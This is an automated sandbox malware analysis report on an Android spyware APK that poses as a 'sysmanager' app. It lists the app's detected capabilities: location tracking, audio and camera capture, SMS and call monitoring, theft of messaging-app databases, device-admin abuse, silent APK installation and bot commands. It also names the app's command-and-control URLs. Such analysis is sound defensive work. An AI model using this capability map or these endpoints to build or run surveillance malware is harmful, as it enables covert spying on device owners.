Loading ...

Analysis Report

Overview

General Information

Joe Sandbox Version:21.0.0
Analysis ID:484648
Start time:13:17:58
Joe Sandbox Product:Cloud
Start date:19.01.2018
Overall analysis duration:0h 5m 49s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:uWmj1BwP9K
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android x86 5.1
Detection:MAL
Classification:mal80.expl.spyw.troj.and@0/251@3/0
Warnings:
Show All
  • No interacted views
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Report size exceeded maximum capacity and may have missing dynamic data code.


Detection

StrategyScoreRangeReportingDetection
Threshold800 - 100Report FP / FNmalicious


Classification

Signature Overview

Click to jump to signature section


Change of System Appearance:

barindex
Acquires a wake lockShow sources
Source: com.sysmanager.MessageManagement;->onMessageReceived:751API Call: android.os.PowerManager$WakeLock.acquire
Source: com.sysmanager.system.AndroidAlarmManager;->onCreate:27API Call: android.os.PowerManager$WakeLock.acquire
Source: com.sysmanager.system.AndroidSystemQueues;->onCreate:109API Call: android.os.PowerManager$WakeLock.acquire
Source: com.sysmanager.system.AndroidSystemService;->onCreate:207API Call: android.os.PowerManager$WakeLock.acquire
Source: com.sysmanager.system.MovementDetector;->start:40API Call: android.os.PowerManager$WakeLock.acquire
Source: com.sysmanager.system.RegistrationService;->onCreate:101API Call: android.os.PowerManager$WakeLock.acquire
Source: com.google.android.gms.internal.zzbay;->acquire:64API Call: android.os.PowerManager$WakeLock.acquire
May access the Android keyguard (lock screen)Show sources
Source: classes.dexString found in binary or memory: Landroid/app/KeyguardManager;
Source: classes.dexString found in binary or memory: inKeyguardRestrictedInputMode
Source: classes.dexString found in binary or memory: keyguard
Source: classes.dexString found in binary or memory: Landroid/app/KeyguardManager;)Landroid/app/Notification$Action$Builder;!Landroid/app/Notification$Action;*Landroid/app/Notification$BigPictureStyle;'Landroid/app/Notification$BigTextStyle;"Landroid/app/Notification$Builder;%Landroid/app/Notification$InboxStyle;1Landroid/app/Notification$MessagingStyle$Message;)Landroid/app/Notification$MessagingStyle; Landroid/app/Notification$Style;
Source: androidString found in binary or memory: keyguard

Location Tracing:

barindex
Queries the phones location (GPS)Show sources
Source: com.sysmanager.system.AndroidSystemQueues;->sendLocNow:33API Call: android.location.Location.getLatitude
Source: com.sysmanager.system.AndroidSystemQueues;->sendLocNow:36API Call: android.location.Location.getLongitude
Source: com.sysmanager.system.FetchAddressIntentService;->deliverResultToReceiver:6API Call: android.location.Location.getLatitude
Source: com.sysmanager.system.FetchAddressIntentService;->deliverResultToReceiver:10API Call: android.location.Location.getLongitude
Source: com.sysmanager.system.FetchAddressIntentService;->onHandleIntent:83API Call: android.location.Location.getLatitude
Source: com.sysmanager.system.FetchAddressIntentService;->onHandleIntent:85API Call: android.location.Location.getLongitude

Operating System Destruction:

barindex
Lists and deletes files in the same contextShow sources
Source: okhttp3.internal.io.FileSystem$1;->deleteContents:23API Calls in same method context: File.listFiles,File.delete
Source: com.google.android.gms.internal.zzw;->initialize:131API Calls in same method context: File.listFiles,File.delete
Source: com.sysmanager.system.AndroidAlarmManager$1;->run:29API Calls in same method context: File.listFiles,File.delete
Source: com.sysmanager.storage.DeleteApkFiles;->doInBackground:12API Calls in same method context: File.listFiles,File.delete
Source: com.sysmanager.system.AndroidMDMSupport$1;->run:78API Calls in same method context: File.listFiles,File.delete
Source: com.sysmanager.system.AndroidSystemService;->copyPendingAudio:62API Calls in same method context: File.listFiles,File.delete

Spam, unwanted Advertisements and Ransom Demands:

barindex
Has permissions to monitor, redirect and/or block callsShow sources
Source: submitted apkRequest permission: android.permission.PROCESS_OUTGOING_CALLS
May check for popular installed appsShow sources
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.orca/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.katana/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.whatsapp/databases/"
Source: Lcom/google/android/gms/common/zzg;->isGooglePlayServicesAvailable(Landroid/content/Context;)IMethod string: "com.android.vending"
May use Google Cloud Messaging (GCM) or Google's Cloud to Device Messaging (C2DM) servicesShow sources
Source: submitted apkRequest permission: com.sysmanager.permission.C2D_MESSAGE

Privilege Escalation:

barindex
Checks if the device administrator is activeShow sources
Source: com.sysmanager.system.AccessibilityService;->onAccessibilityEvent:42API Call: android.app.admin.DevicePolicyManager.isAdminActive
Starts an activity on device admin enabledShow sources
Source: com.sysmanager.system.AndroidDeviceAdministrator;->onDisabled:5API Call: android.content.Context.startActivity (not executed)
Tries to add a new device administratorShow sources
Source: com.sysmanager.Administrator;->requestAdminConfirm:10API Call: android.content.Intent.<init> android.app.action.ADD_DEVICE_ADMIN

Key, Mouse, Clipboard, Microphone and Screen Capturing:

barindex
Accesses the audio/media managersShow sources
Source: com.sysmanager.system.AndroidSystemService;->startRecording:91API Call: android.media.MediaRecorder.<init>
Has permission to record audio in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECORD_AUDIO
Has permission to take photosShow sources
Source: submitted apkRequest permission: android.permission.CAMERA
Records audio/mediaShow sources
Source: com.sysmanager.system.AndroidSystemService;->startRecording:115API Call: android.media.MediaRecorder.start

E-Banking Fraud:

barindex
Has permission to query the list of currently running applicationsShow sources
Source: submitted apkRequest permission: android.permission.GET_TASKS
May check for popular installed appsShow sources
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.orca/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.katana/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.whatsapp/databases/"
Source: Lcom/google/android/gms/common/zzg;->isGooglePlayServicesAvailable(Landroid/content/Context;)IMethod string: "com.android.vending"
May query for the most recent running application (usually for UI overlaying)Show sources
Source: com.sysmanager.system.AudioController;->foregroundAppgetRunningTasks and getPackageName invocations in same method: com.sysmanager.system.AudioController;->foregroundApp:94, com.sysmanager.system.AudioController;->foregroundApp:97
Source: com.sysmanager.system.AudioController;->foregroundAppgetRunningTasks and getPackageName invocations in same method: com.sysmanager.system.AudioController;->foregroundApp:94, com.sysmanager.system.AudioController;->foregroundApp:97

Networking:

barindex
Found strings which match to known social media urlsShow sources
Source: classes.dexString found in binary or memory: '/data/data/com.facebook.orca/databases/ equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: (/data/data/com.facebook.mlite/databases/ equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: )/data/data/com.facebook.katana/databases/ equals www.facebook.com (Facebook)
Source: classes.dexString found in binary or memory: /cmdline)/data/data/com.facebook.katana/databases/(/data/data/com.facebook.mlite/databases/'/data/data/com.facebook.orca/databases/+/data/data/com.google.android.gm/databases/"/data/data/com.whatsapp/databases/ equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: /data/data/com.facebook.katana/databases/ equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: /data/data/com.facebook.mlite/databases/ equals www.facebook.com (Facebook)
Source: androidString found in binary or memory: /data/data/com.facebook.orca/databases/ equals www.facebook.com (Facebook)
Source: classes.dex, androidString found in binary or memory: facebook equals www.facebook.com (Facebook)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: url.plus
Posts data to webserverShow sources
Source: unknownHTTP traffic detected: POST /Updates/startup.x86.zip HTTP/1.1User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; VirtualBox Build/LMY48W)Host: url.plusConnection: Keep-AliveAccept-Encoding: gzipContent-Type: application/x-www-form-urlencodedContent-Length: 0
Tries to download non-existing http data (HTTP/1.1 404 Not Found)Show sources
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 19 Jan 2018 12:19:16 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 1Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 20 Data Ascii:
Urls found in memory or binary dataShow sources
Source: classes.dex, androidString found in binary or memory: http://
Source: common_google_signin_btn_text_light.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: classes.dex, androidString found in binary or memory: http://url.plus/
Source: classes.dex, androidString found in binary or memory: http://url.plus/Updates/
Source: classes.dexString found in binary or memory: http://url.plus/Updates/&http://url.plus/Updates/agent/commands
Source: classes.dex, androidString found in binary or memory: http://url.plus/Updates/agent/commands
Source: androidString found in binary or memory: http://url.plus/Updates/startup.x86.zip
Source: classes.dex, androidString found in binary or memory: http://url.plus/app/pro/
Source: classes.dex, androidString found in binary or memory: http://url.plus/app/pro/last.php
Source: classes.dexString found in binary or memory: http://url.plus/app/pro/last.php$http://url.plus/app/pro/register.php
Source: classes.dex, androidString found in binary or memory: http://url.plus/app/pro/register.php
Source: classes.dex, androidString found in binary or memory: http://url.plus/app/pro/req_server_key.php
Source: classes.dex, androidString found in binary or memory: http://url.plus/app/pro/ser.php
Source: classes.dex, androidString found in binary or memory: https://
Source: classes.dex, androidString found in binary or memory: https://app-measurement.com/a
Source: classes.dexString found in binary or memory: https://app-measurement.com/aAhttps://pagead2.googlesyndication.com/pagead/gen_204?id=gmob-apps
Source: resources.arsc, androidString found in binary or memory: https://future-8a57f.firebaseio.com
Source: classes.dex, androidString found in binary or memory: https://goo.gl/NAOOOI
Source: classes.dex, androidString found in binary or memory: https://goo.gl/NAOOOI.
Source: classes.dex, androidString found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=gmob-apps
Source: classes.dex, androidString found in binary or memory: https://plus.google.com/
Source: classes.dex, androidString found in binary or memory: https://www.google.com
Source: classes.dexString found in binary or memory: https://www.google.com(https://www.googleapis.com/auth/appstate/https://www.googleapis.com/auth/data
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/appstate
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/datastoremobile
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/drive.appdata
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/drive.file
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/drive.file5https://www.googleapis.com/auth/fitness.activity.read6htt
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.activity.read
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.activity.write
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.body.read
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.body.write
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.location.read
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.location.write
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.nutrition.read
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/fitness.nutrition.write
Source: classes.dex, androidString found in binary or memory: https://www.googleapis.com/auth/games
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/plus.login
Source: classes.dexString found in binary or memory: https://www.googleapis.com/auth/plus.me
Uses HTTP for connecting to the internetShow sources
Source: com.sysmanager.network.StartReverse;->doInBackground:83API Call: com.android.okhttp.internal.http.HttpURLConnectionImpl.connect
Source: com.sysmanager.network.GetCommands;->doInBackground:37API Call: java.net.HttpURLConnection.connect
Source: com.sysmanager.network.InstallApk;->doInBackground:69API Call: java.net.HttpURLConnection.connect
Source: com.google.android.gms.internal.zzaty$zzc;->run:43API Call: java.net.HttpURLConnection.connect
Source: com.google.android.gms.internal.zzx;->zza:61API Call: org.apache.http.client.HttpClient.execute
Checks an internet connection is availableShow sources
Source: com.sysmanager.system.RegistrationService;->requestGWKey:134API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.sysmanager.system.RegistrationService;->requestGWKey:134API Call: android.net.NetworkInfo.isConnected
Source: com.google.firebase.iid.FirebaseInstanceIdService;->zzct:86API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.google.firebase.iid.FirebaseInstanceIdService;->zzct:87API Call: android.net.NetworkInfo.isConnected
Source: com.sysmanager.network.NetworkUtil;->getConnectivityStatus:4API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.sysmanager.network.NetworkUtil;->getConnectivityStatus:5API Call: android.net.NetworkInfo.isConnected
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:225API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:227API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:228API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:230API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:231API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:232API Call: android.net.ConnectivityManager.getNetworkInfo
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:257API Call: android.net.NetworkInfo.isAvailable
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:259API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:262API Call: android.net.NetworkInfo.isAvailable
Source: com.sysmanager.system.AndroidSystemCall;->networkInfo:264API Call: android.net.NetworkInfo.isConnectedOrConnecting
Source: com.sysmanager.system.UpdateConnectivity;->onReceive:4API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.sysmanager.system.UpdateConnectivity;->onReceive:5API Call: android.net.NetworkInfo.isConnected
Source: com.google.android.gms.internal.zzaty;->zzqa:63API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.google.android.gms.internal.zzaty;->zzqa:64API Call: android.net.NetworkInfo.isConnected
Enables or disables WIFIShow sources
Source: com.sysmanager.MessageManagement;->addWifiConfig:27API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: com.sysmanager.MessageManagement;->wifiManageConfiguration:711API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: com.sysmanager.system.SmsReceiver;->onReceive:26API Call: android.net.wifi.WifiManager.setWifiEnabled
Source: com.sysmanager.system.SmsReceiver;->onReceive:49API Call: android.net.wifi.WifiManager.setWifiEnabled
Opens an internet connectionShow sources
Source: com.sysmanager.network.StartReverse;->doInBackground:79API Call: java.net.URL.openConnection("http://url.plus/Updates/startup.x86.zip")
Source: com.sysmanager.network.GetCommands;->doInBackground:33API Call: java.net.URL.openConnection (not executed)
Source: com.sysmanager.network.InstallApk;->doInBackground:65API Call: java.net.URL.openConnection (not executed)
Source: com.google.android.gms.ads.identifier.zza;->zzu:3API Call: java.net.URL.openConnection (not executed)
Source: com.google.android.gms.internal.zzaa;->zza:68API Call: java.net.URL.openConnection (not executed)
Source: com.google.android.gms.internal.zzaty;->zzc:45API Call: java.net.URL.openConnection (not executed)
Source: okhttp3.internal.platform.AndroidPlatform;->connectSocket:38API Call: java.net.Socket.connect (not executed)
Source: okhttp3.internal.platform.Platform;->connectSocket:42API Call: java.net.Socket.connect (not executed)
Performs DNS lookups (Java API)Show sources
Source: okhttp3.Dns$1;->lookup:4API Call: java.net.InetAddress.getAllByName (not executed)
Removes or disables configured WIFI access pointsShow sources
Source: com.sysmanager.MessageManagement;->wifiManageConfiguration:736API Call: android.net.wifi.WifiManager.removeNetwork
Source: com.sysmanager.system.SmsReceiver;->onReceive:47API Call: android.net.wifi.WifiManager.removeNetwork
Modifies WIFI configurationShow sources
Source: com.sysmanager.MessageManagement;->addWifiConfig:26API Call: android.net.wifi.WifiManager.saveConfiguration
Source: com.sysmanager.MessageManagement;->wifiManageConfiguration:737API Call: android.net.wifi.WifiManager.saveConfiguration
Source: com.sysmanager.system.SmsReceiver;->onReceive:48API Call: android.net.wifi.WifiManager.saveConfiguration
Tries to download files via HTTP but all files are no longer availableShow sources
Source: HTTP HeaderHTTP: All HTTP requests resultet into 404 Not Found

Boot Survival:

barindex
Has permission to execute code after phone rebootShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_BOOT_COMPLETED
Installs a new wake lock (to get activate on phone screen on)Show sources
Source: com.sysmanager.MessageManagement;->onMessageReceived:750API Call: android.os.PowerManager.newWakeLock
Source: com.sysmanager.system.AndroidAlarmManager;->onCreate:23API Call: android.os.PowerManager.newWakeLock
Source: com.sysmanager.system.AndroidSystemQueues;->onCreate:105API Call: android.os.PowerManager.newWakeLock
Source: com.sysmanager.system.AndroidSystemService;->onCreate:203API Call: android.os.PowerManager.newWakeLock
Source: com.sysmanager.system.ClearSystems;->onCreate:9API Call: android.os.PowerManager.newWakeLock
Source: com.sysmanager.system.MovementDetector;-><init>:12API Call: android.os.PowerManager.newWakeLock
Source: com.sysmanager.system.RegistrationService;->onCreate:97API Call: android.os.PowerManager.newWakeLock
Source: com.google.android.gms.internal.zzbay;-><init>:20API Call: android.os.PowerManager.newWakeLock
Starts/registers a service/receiver on phone boot (autostart)Show sources
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:60API Call: com.sysmanager.Scontext.startService("Intent { cmp=com.sysmanager/.system.RegistrationService }")
Source: com.sysmanager.OnBootReceiver;->onReceive:85API Call: com.sysmanager.Scontext.startService("Intent { cmp=com.sysmanager/.system.AndroidClock }")
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:17API Call: android.content.Context.startService (not executed)
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:20API Call: android.content.Context.startService (not executed)
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:26API Call: android.content.Context.startService (not executed)
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:28API Call: android.content.Context.startService (not executed)
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:41API Call: android.content.Context.startService (not executed)
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:49API Call: android.content.Context.startService (not executed)
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:55API Call: android.content.Context.startService (not executed)
Source: com.sysmanager.OnBootReceiver;->loadSharedPreferences:58API Call: android.content.Context.startService (not executed)

Remote Access Functionality:

barindex
Found suspicious command strings (may be related to BOT commands)Show sources
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VMethod string: "mobileconn"
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VMethod string: "enable_location"
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VMethod string: "location_force"
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VMethod string: "install_apk"
Source: Lcom/google/android/gms/location/places/PlaceReport;->zzeU(Ljava/lang/String;)ZMethod string: "inferredreversegeocoding"
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VMethod string: "send_intent"
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VInstruction: "lcom/sysmanager/messagemanagement;->mobileconnectionenable(landroid/content/context;)v"
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VInstruction: "const-string v3, "enable_location""
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VInstruction: "const-string v3, "location_force""
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VInstruction: "const-string v5, "install_apk""
Source: Lcom/sysmanager/MessageManagement;->parseCommand(Landroid/content/Context;Ljava/util/Map;)VInstruction: "const-string v5, "send_intent""
Source: Lcom/google/android/gms/location/places/PlaceReport;->zzeU(Ljava/lang/String;)ZInstruction: "const-string v3, "inferredreversegeocoding""

Stealing of Sensitive Information:

barindex
Has permission to query the current locationShow sources
Source: submitted apkRequest permission: android.permission.ACCESS_COARSE_LOCATION
Source: submitted apkRequest permission: android.permission.ACCESS_FINE_LOCATION
Creates SMS data (e.g. PDU)Show sources
Source: com.sysmanager.system.SmsReceiver;->onReceive:14API Call: android.telephony.SmsMessage.createFromPdu
Has permission to read contactsShow sources
Source: submitted apkRequest permission: android.permission.READ_CONTACTS
Has permission to read the SMS storageShow sources
Source: submitted apkRequest permission: android.permission.READ_SMS
Has permission to read the call logShow sources
Source: submitted apkRequest permission: android.permission.READ_CALL_LOG
Has permission to read the default browser historyShow sources
Source: submitted apkRequest permission: com.android.browser.permission.READ_HISTORY_BOOKMARKS
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permission to receive SMS in the backgroundShow sources
Source: submitted apkRequest permission: android.permission.RECEIVE_SMS
Has permissions to create, read or change account settings (inlcuding account password settings)Show sources
Source: submitted apkRequest permission: android.permission.GET_ACCOUNTS
May spy on facebook databaseShow sources
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.orca/databases/"
Monitors incoming Phone callsShow sources
Source: com.sysmanager.CallReceiverRegistered receiver: android.intent.action.PHONE_STATE
Monitors incoming SMSShow sources
Source: com.sysmanager.system.SmsReceiverRegistered receiver: android.provider.Telephony.SMS_RECEIVED
Parses SMS data (e.g. originating address)Show sources
Source: com.sysmanager.system.SmsReceiver;->onReceive:4API Call: android.telephony.SmsManager.getMessageBody
Source: com.sysmanager.system.SmsReceiver;->onReceive:15API Call: android.telephony.SmsMessage.getMessageBody
Queries SMS dataShow sources
Source: com.sysmanager.system.AndroidMessagingService;->GetListaSMS:9API Call: android.net.Uri.parse("content://sms")
Queries camera informationShow sources
Source: com.sysmanager.system.AndroidCamera;->getBackCameraId:7API Call: android.hardware.Camera.getNumberOfCameras
Source: com.sysmanager.system.AndroidCamera;->getBackCameraId:9API Call: android.hardware.Camera.getCameraInfo
Source: com.sysmanager.system.AndroidCamera;->getFrontCameraId:14API Call: android.hardware.Camera.getNumberOfCameras
Source: com.sysmanager.system.AndroidCamera;->getFrontCameraId:16API Call: android.hardware.Camera.getCameraInfo
Source: com.sysmanager.system.AndroidCamera;->getCameraInstance:140API Call: android.hardware.Camera.open
Queries list of installed packagesShow sources
Source: com.sysmanager.system.AppsManager;->getInstalledApps:4API Call: android.content.pm.PackageManager.getInstalledPackages
Queries stored mail and application accounts (e.g. Gmail or Whatsup)Show sources
Source: com.google.android.gms.common.internal.zzg;->getAccountName:20API Call: android.accounts.Account.name
Source: com.google.android.gms.internal.zzbat;->zzPS:8API Call: android.accounts.Account.name
Source: com.google.android.gms.auth.api.signin.GoogleSignInOptions;->zzri:74API Call: android.accounts.Account.name
Queries the list of configured WIFI access pointsShow sources
Source: com.sysmanager.MessageManagement;->wifiManageConfiguration:722API Call: android.net.wifi.WifiManager.getConfiguredNetworks
Source: com.sysmanager.system.SmsReceiver;->onReceive:39API Call: android.net.wifi.WifiManager.getConfiguredNetworks
Redirects camera/video feedShow sources
Source: com.sysmanager.system.AndroidSystemService;->startRecording:105API Call: android.media.MediaRecorder.setOutputFile
Accesses databases of MDM applications (Facebook, Whatsapp etc)Show sources
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.orca/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.katana/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.whatsapp/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.google.android.gm/databases/"
Source: Lcom/sysmanager/system/AndroidMDMSupport;-><clinit>()VMethod string: "/data/data/com.facebook.mlite/databases/"
Monitors outgoing Phone callsShow sources
Source: com.sysmanager.CallReceiverRegistered receiver: android.intent.action.NEW_OUTGOING_CALL

Persistence and Installation Behavior:

barindex
Creates filesShow sources
Source: com.sysmanager.system.AndroidFileSystem;->write:96API Call: java.io.FileWriter.<init>
Source: com.sysmanager.system.FileLog;->write:34API Call: java.io.FileWriter.<init>
Has permission to install other packagesShow sources
Source: submitted apkRequest permission: android.permission.INSTALL_PACKAGES
Sets an intent to the APK data type (used to install other APKs)Show sources
Source: com.sysmanager.network.InstallApk;->installApp:40API Call: android.content.Intent.setDataAndType(n/a,"application/vnd.android.package-archive")
Uses command line tools to install new APKsShow sources
Source: Lcom/sysmanager/network/InstallApk;->installApp(Landroid/content/Context;Ljava/io/File;)VMethod string: pm install -r

Data Obfuscation:

barindex
Obfuscates method namesShow sources
Source: uWmj1BwP9KTotal valid method names: 41%
Uses reflectionShow sources
Source: com.sysmanager.MessageManagement;->mobileConnectionEnable:297API Call: java.lang.reflect.Field.get
Source: com.sysmanager.MessageManagement;->mobileConnectionEnable:306API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.connection.RouteException;->addSuppressedIfPossible:6API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.dynamic.zzd;->zzF:10API Call: java.lang.reflect.Field.get
Source: com.google.android.gms.dynamite.DynamiteModule;->zzH:37API Call: java.lang.reflect.Field.get
Source: com.google.android.gms.dynamite.DynamiteModule;->zzH:40API Call: java.lang.reflect.Field.get
Source: com.google.android.gms.dynamite.DynamiteModule;->zzb:172API Call: java.lang.reflect.Field.get
Source: com.google.firebase.FirebaseApp;->zza:154API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.internal.zzacs;->zzb:101API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.internal.zzati;->zzLC:49API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.internal.zzauj;->zzf:532API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.internal.zzbxu;->zza:20API Call: java.lang.reflect.Field.get
Source: com.google.android.gms.internal.zzbxu;->zza:39API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.internal.zzbxu;->zza:47API Call: java.lang.reflect.Method.invoke
Source: eu.chainfire.libsuperuser.Shell$SU;->isSELinuxEnforcing:21API Call: java.lang.reflect.Method.invoke
Source: com.google.firebase.messaging.zzc;->zza:100API Call: java.lang.reflect.Method.invoke
Source: com.google.firebase.messaging.zzc;->zza:395API Call: java.lang.reflect.Method.invoke
Source: com.google.firebase.messaging.zzc;->zzaI:406API Call: java.lang.reflect.Field.get
Source: com.google.firebase.messaging.zzc;->zzab:412API Call: java.lang.reflect.Field.get
Source: com.google.firebase.messaging.zzc;->zzac:417API Call: java.lang.reflect.Field.get
Source: com.google.firebase.messaging.zzc;->zzb:429API Call: java.lang.reflect.Method.invoke
Source: com.google.firebase.messaging.zzc;->zzc:452API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.AndroidPlatform$AndroidCertificateChainCleaner;->clean:7API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.AndroidPlatform$CloseGuard;->createAndOpen:13API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.AndroidPlatform$CloseGuard;->createAndOpen:15API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.AndroidPlatform$CloseGuard;->warnIfOpen:17API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.AndroidPlatform;->isCleartextTrafficPermitted:57API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.AndroidPlatform;->isCleartextTrafficPermitted:60API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.Jdk9Platform;->configureTlsExtensions:12API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.Jdk9Platform;->getSelectedProtocol:16API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.JdkWithJettyBootPlatform$JettyNegoProvider;->invoke:30API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.JdkWithJettyBootPlatform;->afterHandshake:30API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.JdkWithJettyBootPlatform;->configureTlsExtensions:39API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.JdkWithJettyBootPlatform;->getSelectedProtocol:42API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.OptionalMethod;->invoke:24API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.OptionalMethod;->invokeOptional:34API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.platform.Platform;->readFieldOrNull:30API Call: java.lang.reflect.Field.get
Source: com.google.android.gms.security.ProviderInstaller;->installIfNeeded:17API Call: java.lang.reflect.Method.invoke
Source: okhttp3.internal.tls.TrustRootIndex$AndroidTrustRootIndex;->findByIssuerAndSignature:10API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.common.util.zzz;->zza:26API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.common.util.zzz;->zza:34API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.common.util.zzz;->zza:42API Call: java.lang.reflect.Method.invoke
Source: com.google.android.gms.common.util.zzz;->zza:49API Call: java.lang.reflect.Method.invoke
Found very long method stringsShow sources
Source: Lcom/google/android/gms/common/zzf$zzd$2;->zzvc()[BMethod string: 0\u0082\u0004\u00a80\u0082\u0003\u0090\u00a0\u0003\u0002\u0001\u0002\u0002\t\u0000\u00d5\u0085\u00b8l}\u00d3N\u00f50\r\u0006\t*\u0086H\u0086\u00f7\r\u0001\u0001\u0004\u0005\u00000\u0081\u00941\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002US1\u00130\u0011\ Length: 4395

Spreading:

barindex
Accesses external storage locationShow sources
